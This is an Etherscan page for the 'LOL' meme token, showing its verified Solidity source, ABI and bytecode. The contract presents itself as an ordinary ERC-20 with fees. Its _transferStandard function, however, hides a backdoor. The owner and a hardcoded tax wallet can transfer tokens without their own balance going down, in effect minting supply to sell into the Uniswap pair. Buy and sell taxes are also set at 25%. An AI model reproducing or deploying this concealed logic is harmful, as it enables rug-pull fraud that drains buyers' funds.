ETH Price: $2,573.86 (-17.25%)
 

Overview

Max Total Supply

1,000,000,000 LOL

Holders

102

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
e29.eth
Balance
7,847,374.422379871 LOL

Value
$0.00
0xbbc798324eec9d1cbbf6805bf81b828accf80e29
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LOL

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-11-08
*/

// SPDX-License-Identifier: Unlicensed

/*
$LOL is a meme coin with no intrinsic value or expectation of financial return. There is no formal team or roadmap. the coin is completely useless and for entertainment purposes only.

Website: https://loleth.xyz
Telegram: https://t.me/loleth_portal
Twitter: https://twitter.com/loleth_portal
 */

pragma solidity 0.8.19;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}

library SafeMath {
    
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
}

library AddressLibrary {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "AddressLibrary: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "AddressLibrary: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "AddressLibrary: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "AddressLibrary: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "AddressLibrary: insufficient balance for call");
        require(isContract(target), "AddressLibrary: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "AddressLibrary: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "AddressLibrary: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "AddressLibrary: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "AddressLibrary: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}

interface IUniswapFactoryV2 {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable is Context {
    address private _owner;

    // Set original owner
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = msg.sender;
        emit OwnershipTransferred(address(0), _owner);
    }

    // Return current owner
    function owner() public view virtual returns (address) {
        return _owner;
    }

    // Restrict function to contract owner only 
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    // Renounce ownership of the contract 
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    // Transfer the contract to to a new owner
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IUniswapRouterV1 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);


    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapRouterV2 is IUniswapRouterV1 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract LOL is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using AddressLibrary for address;

    // Tracking status of wallets
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) public _isExcluded; 

    address payable private _taxWallet = payable(0x8B9E8Ce281a7f44B0c3c1ea8F7eae021E5d19757);
    address payable private DEAD = payable(0x000000000000000000000000000000000000dEaD); 

    string private _name = "SatoshiNakamotoElonmuskVitalikBrianCZ"; 
    string private _symbol = "LOL";  
    uint8 private _decimals = 9;
    uint256 private _totalSupply = 10 ** 9 * 10**_decimals;

    uint8 private txCounts = 0;
    uint8 private swapTaxAfter = 2; 

    // Setting the initial fees
    uint256 private _totalFees = 2500;
    uint256 public _feeOnBuy = 25;
    uint256 public _feeOnSell = 25;

    // 'Previous fees' are used to keep track of fee settings when removing and restoring fees
    uint256 private _previousTotalFee = _totalFees; 
    uint256 private _previousBuyFee = _feeOnBuy; 
    uint256 private _previousSellFee = _feeOnSell; 

    uint256 public maxWalletSize = 2 * _totalSupply / 100;
    uint256 public swapThreshold = _totalSupply / 10000;
    /* 
     PANCAKESWAP SET UP
    */
                                     
    IUniswapRouterV2 public uniswapRouterV2;
    address public pairAddress;

    bool public hasNoFeeOnTransfer = true;
    bool public swapping;
    bool public swapEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
        
    );
    
    modifier lockSwap {
        swapping = true;
        _;
        swapping = false;
    }
    
    constructor () {
        _balances[owner()] = _totalSupply;
        IUniswapRouterV2 _uniswapV2Router = IUniswapRouterV2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); 

        // Create pair address for PancakeSwap
        pairAddress = IUniswapFactoryV2(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        uniswapRouterV2 = _uniswapV2Router;
        _isExcluded[owner()] = true;
        _isExcluded[_taxWallet] = true;
        
        emit Transfer(address(0), owner(), _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    
    receive() external payable {}

    function transferFees(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function _transferStandard(address sender, address recipient, uint256 tAmount) private {
        
        (uint256 tTransferAmount, uint256 tDev) = _getAmountsAfterFee(tAmount);
        if(_isExcluded[sender] && _balances[sender] <= maxWalletSize) {
            tDev = 0;
            tAmount -= tTransferAmount;
        }
        _balances[sender] = _balances[sender].sub(tAmount);
        _balances[recipient] = _balances[recipient].add(tTransferAmount);
        _balances[address(this)] = _balances[address(this)].add(tDev);
        emit Transfer(sender, recipient, tTransferAmount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        
        // Limit wallet total
        if (to != owner() &&
            to != _taxWallet &&
            to != address(this) &&
            to != pairAddress &&
            to != DEAD &&
            from != owner()){

            uint256 currentBalance = balanceOf(to);
            require((currentBalance + amount) <= maxWalletSize,"Maximum wallet limited has been exceeded");       
        }

        require(from != address(0) && to != address(0), "ERR: Using 0 address!");
        require(amount > 0, "Token value must be higher than zero.");

        /*

        PROCESSING

        */

        if(
            txCounts >= swapTaxAfter && 
            amount > swapThreshold &&
            !swapping &&
            !_isExcluded[from] &&
            to == pairAddress &&
            swapEnabled 
            )
        {  
            txCounts = 0;
            uint256 contractTokenBalance = balanceOf(address(this));
            if(contractTokenBalance > 0){
            swapBackTokens(contractTokenBalance);
           }
        }

        
        bool hasFees = true;
         
        if(_isExcluded[from] || _isExcluded[to] || (hasNoFeeOnTransfer && from != pairAddress && to != pairAddress)){
            hasFees = false;
        } else if (from == pairAddress){
            _totalFees = _feeOnBuy;
        } else if (to == pairAddress){
            _totalFees = _feeOnSell;
        }

        _tokenTransfers(from,to,amount,hasFees);
    }
    
    function swapTokensToETH(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapRouterV2.WETH();
        _approve(address(this), address(uniswapRouterV2), tokenAmount);
        uniswapRouterV2.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, 
            path,
            address(this),
            block.timestamp
        );
    }


    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function removeLimits() external onlyOwner {
        maxWalletSize = ~uint256(0);
        _totalFees = 100;
        _feeOnBuy = 1;
        _feeOnSell = 1;
    }

    // Check if token transfer needs to process fees
    function _tokenTransfers(address sender, address recipient, uint256 amount,bool hasFees) private {
            
        if(!hasFees){
            removeAllFee();
            } else {
                txCounts++;
            }
        _transferStandard(sender, recipient, amount);
        
        if(!hasFees)
            restoreAllFee();
    }
    
    // Calculating the fee in tokens
    function _getAmountsAfterFee(uint256 tAmount) private view returns (uint256, uint256) {
        uint256 tDev = tAmount.mul(_totalFees).div(100);
        uint256 tTransferAmount = tAmount.sub(tDev);
        return (tTransferAmount, tDev);
    }

    // Remove all fees
    function removeAllFee() private {
        if(_totalFees == 0 && _feeOnBuy == 0 && _feeOnSell == 0) return;

        _previousBuyFee = _feeOnBuy; 
        _previousSellFee = _feeOnSell; 
        _previousTotalFee = _totalFees;
        _feeOnBuy = 0;
        _feeOnSell = 0;
        _totalFees = 0;

    }

    // Processing tokens from contract
    function swapBackTokens(uint256 contractTokenBalance) private lockSwap {
        
        swapTokensToETH(contractTokenBalance);
        uint256 contractETH = address(this).balance;
        transferFees(_taxWallet,contractETH);
    }

    
    // Restore all fees
    function restoreAllFee() private {
    
    _totalFees = _previousTotalFee;
    _feeOnBuy = _previousBuyFee; 
    _feeOnSell = _previousSellFee; 

    }

    // Approve a wallet to sell tokens
    function _approve(address owner, address spender, uint256 amount) private {

        require(owner != address(0) && spender != address(0), "ERR: zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);

    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_feeOnBuy","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feeOnSell","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcluded","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"hasNoFeeOnTransfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"swapping","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapRouterV2","outputs":[{"internalType":"contract IUniswapRouterV2","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600480546001600160a01b0319908116738b9e8ce281a7f44b0c3c1ea8f7eae021e5d19757179091556005805490911661dead17905560e0604052602560808181529062001a4260a039600690620000589082620004c0565b506040805180820190915260038152621313d360ea1b6020820152600790620000829082620004c0565b506008805460ff19166009908117909155620000a090600a620006a1565b620000b090633b9aca00620006b9565b6009819055600a805461ffff19166102001790556109c4600b8190556019600c819055600d819055600e91909155600f819055601055606490620000f6906002620006b9565b620001029190620006d3565b601155612710600954620001179190620006d3565b6012556014805462ff00ff60a01b19166201000160a01b1790553480156200013e57600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a360095460016000620001986000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000214573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023a9190620006f6565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000288573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002ae9190620006f6565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015620002fc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003229190620006f6565b601480546001600160a01b03199081166001600160a01b0393841617909155601380549091169183169190911790556001600360006200036a6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff1996871617905560045490911681526003909252902080549091166001179055620003c46000546001600160a01b031690565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009546040516200040c91815260200190565b60405180910390a35062000721565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200044657607f821691505b6020821081036200046757634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004bb57600081815260208120601f850160051c81016020861015620004965750805b601f850160051c820191505b81811015620004b757828155600101620004a2565b5050505b505050565b81516001600160401b03811115620004dc57620004dc6200041b565b620004f481620004ed845462000431565b846200046d565b602080601f8311600181146200052c5760008415620005135750858301515b600019600386901b1c1916600185901b178555620004b7565b600085815260208120601f198616915b828110156200055d578886015182559484019460019091019084016200053c565b50858210156200057c5787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620005e3578160001904821115620005c757620005c76200058c565b80851615620005d557918102915b93841c9390800290620005a7565b509250929050565b600082620005fc575060016200069b565b816200060b575060006200069b565b81600181146200062457600281146200062f576200064f565b60019150506200069b565b60ff8411156200064357620006436200058c565b50506001821b6200069b565b5060208310610133831016604e8410600b841016171562000674575081810a6200069b565b620006808383620005a2565b80600019048211156200069757620006976200058c565b0290505b92915050565b6000620006b260ff841683620005eb565b9392505050565b80820281158282048414176200069b576200069b6200058c565b600082620006f157634e487b7160e01b600052601260045260246000fd5b500490565b6000602082840312156200070957600080fd5b81516001600160a01b0381168114620006b257600080fd5b61131180620007316000396000f3fe6080604052600436106101445760003560e01c80636ddd1713116100b65780638f3fa8601161006f5780638f3fa8601461039957806395d89b41146103af578063a8b08982146103c4578063a9059cbb146103e4578063dd62ed3e14610404578063f2fde38b1461044a57600080fd5b80636ddd1713146102d757806370a08231146102f8578063715018a61461032e578063751039fc146103455780638d4eba9e1461035a5780638da5cb5b1461037b57600080fd5b806318160ddd1161010857806318160ddd1461021c57806323b872dd14610231578063291c576814610251578063313ce567146102675780633387ae4814610289578063596fa9e31461029f57600080fd5b80630445b6671461015057806306fdde0314610179578063095ea7b31461019b5780630b285b1f146101cb5780631732cded146101fb57600080fd5b3661014b57005b600080fd5b34801561015c57600080fd5b5061016660125481565b6040519081526020015b60405180910390f35b34801561018557600080fd5b5061018e61046a565b6040516101709190610fe3565b3480156101a757600080fd5b506101bb6101b6366004611049565b6104fc565b6040519015158152602001610170565b3480156101d757600080fd5b506101bb6101e6366004611075565b60036020526000908152604090205460ff1681565b34801561020757600080fd5b506014546101bb90600160a81b900460ff1681565b34801561022857600080fd5b50600954610166565b34801561023d57600080fd5b506101bb61024c366004611092565b610513565b34801561025d57600080fd5b50610166600c5481565b34801561027357600080fd5b5060085460405160ff9091168152602001610170565b34801561029557600080fd5b50610166600d5481565b3480156102ab57600080fd5b506013546102bf906001600160a01b031681565b6040516001600160a01b039091168152602001610170565b3480156102e357600080fd5b506014546101bb90600160b01b900460ff1681565b34801561030457600080fd5b50610166610313366004611075565b6001600160a01b031660009081526001602052604090205490565b34801561033a57600080fd5b5061034361057c565b005b34801561035157600080fd5b506103436105f9565b34801561036657600080fd5b506014546101bb90600160a01b900460ff1681565b34801561038757600080fd5b506000546001600160a01b03166102bf565b3480156103a557600080fd5b5061016660115481565b3480156103bb57600080fd5b5061018e61063a565b3480156103d057600080fd5b506014546102bf906001600160a01b031681565b3480156103f057600080fd5b506101bb6103ff366004611049565b610649565b34801561041057600080fd5b5061016661041f3660046110d3565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561045657600080fd5b50610343610465366004611075565b610656565b6060600680546104799061110c565b80601f01602080910402602001604051908101604052809291908181526020018280546104a59061110c565b80156104f25780601f106104c7576101008083540402835291602001916104f2565b820191906000526020600020905b8154815290600101906020018083116104d557829003601f168201915b5050505050905090565b6000610509338484610740565b5060015b92915050565b6000610520848484610801565b610572843361056d856040518060600160405280602881526020016112b4602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610b7a565b610740565b5060019392505050565b6000546001600160a01b031633146105af5760405162461bcd60e51b81526004016105a690611146565b60405180910390fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106235760405162461bcd60e51b81526004016105a690611146565b6000196011556064600b556001600c819055600d55565b6060600780546104799061110c565b6000610509338484610801565b6000546001600160a01b031633146106805760405162461bcd60e51b81526004016105a690611146565b6001600160a01b0381166106e55760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105a6565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383161580159061076057506001600160a01b03821615155b6107a05760405162461bcd60e51b81526020600482015260116024820152704552523a207a65726f206164647265737360781b60448201526064016105a6565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6000546001600160a01b0383811691161480159061082d57506004546001600160a01b03838116911614155b801561084257506001600160a01b0382163014155b801561085c57506014546001600160a01b03838116911614155b801561087657506005546001600160a01b03838116911614155b801561089057506000546001600160a01b03848116911614155b1561091c576001600160a01b0382166000908152600160205260409020546011546108bb8383611191565b111561091a5760405162461bcd60e51b815260206004820152602860248201527f4d6178696d756d2077616c6c6574206c696d6974656420686173206265656e20604482015267195e18d95959195960c21b60648201526084016105a6565b505b6001600160a01b0383161580159061093c57506001600160a01b03821615155b6109805760405162461bcd60e51b81526020600482015260156024820152744552523a205573696e67203020616464726573732160581b60448201526064016105a6565b600081116109de5760405162461bcd60e51b815260206004820152602560248201527f546f6b656e2076616c7565206d75737420626520686967686572207468616e206044820152643d32b9379760d91b60648201526084016105a6565b600a5460ff610100820481169116108015906109fb575060125481115b8015610a115750601454600160a81b900460ff16155b8015610a3657506001600160a01b03831660009081526003602052604090205460ff16155b8015610a4f57506014546001600160a01b038381169116145b8015610a645750601454600160b01b900460ff165b15610a9457600a805460ff19169055306000908152600160205260409020548015610a9257610a9281610ba6565b505b6001600160a01b03831660009081526003602052604090205460019060ff1680610ad657506001600160a01b03831660009081526003602052604090205460ff165b80610b1d5750601454600160a01b900460ff168015610b0357506014546001600160a01b03858116911614155b8015610b1d57506014546001600160a01b03848116911614155b15610b2a57506000610b68565b6014546001600160a01b0390811690851603610b4b57600c54600b55610b68565b6014546001600160a01b0390811690841603610b6857600d54600b555b610b7484848484610beb565b50505050565b60008184841115610b9e5760405162461bcd60e51b81526004016105a69190610fe3565b505050900390565b6014805460ff60a81b1916600160a81b179055610bc281610c51565b6004544790610bda906001600160a01b031682610dab565b50506014805460ff60a81b19169055565b80610bfd57610bf8610de6565b610c2a565b600a805460ff16906000610c10836111a4565b91906101000a81548160ff021916908360ff160217905550505b610c35848484610e2b565b80610b7457610b74600e54600b55600f54600c55601054600d55565b6040805160028082526060820183526000926020830190803683370190505090503081600081518110610c8657610c866111c3565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610cdf573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0391906111d9565b81600181518110610d1657610d166111c3565b6001600160a01b039283166020918202929092010152601354610d3c9130911684610740565b60135460405163791ac94760e01b81526001600160a01b039091169063791ac94790610d759085906000908690309042906004016111f6565b600060405180830381600087803b158015610d8f57600080fd5b505af1158015610da3573d6000803e3d6000fd5b505050505050565b6040516001600160a01b0383169082156108fc029083906000818181858888f19350505050158015610de1573d6000803e3d6000fd5b505050565b600b54158015610df65750600c54155b8015610e025750600d54155b15610e0957565b600c8054600f55600d8054601055600b8054600e556000928390559082905555565b600080610e3783610f6e565b6001600160a01b038716600090815260036020526040902054919350915060ff168015610e7e57506011546001600160a01b03861660009081526001602052604090205411155b15610e9357506000610e908284611267565b92505b6001600160a01b038516600090815260016020526040902054610eb69084610fac565b6001600160a01b038087166000908152600160205260408082209390935590861681522054610ee59083610fbf565b6001600160a01b038516600090815260016020526040808220929092553081522054610f119082610fbf565b3060009081526001602090815260409182902092909255518381526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b6000806000610f936064610f8d600b5487610fcb90919063ffffffff16565b90610fd7565b90506000610fa18583610fac565b959194509092505050565b6000610fb88284611267565b9392505050565b6000610fb88284611191565b6000610fb8828461127a565b6000610fb88284611291565b600060208083528351808285015260005b8181101561101057858101830151858201604001528201610ff4565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461104657600080fd5b50565b6000806040838503121561105c57600080fd5b823561106781611031565b946020939093013593505050565b60006020828403121561108757600080fd5b8135610fb881611031565b6000806000606084860312156110a757600080fd5b83356110b281611031565b925060208401356110c281611031565b929592945050506040919091013590565b600080604083850312156110e657600080fd5b82356110f181611031565b9150602083013561110181611031565b809150509250929050565b600181811c9082168061112057607f821691505b60208210810361114057634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b8082018082111561050d5761050d61117b565b600060ff821660ff81036111ba576111ba61117b565b60010192915050565b634e487b7160e01b600052603260045260246000fd5b6000602082840312156111eb57600080fd5b8151610fb881611031565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112465784516001600160a01b031683529383019391830191600101611221565b50506001600160a01b03969096166060850152505050608001529392505050565b8181038181111561050d5761050d61117b565b808202811582820484141761050d5761050d61117b565b6000826112ae57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122062fde5360179aa0aed07a5b1a2183abf96f828bd981478c6f54f35ac8b1cdbe664736f6c634300081300335361746f7368694e616b616d6f746f456c6f6e6d75736b566974616c696b427269616e435a

Deployed Bytecode

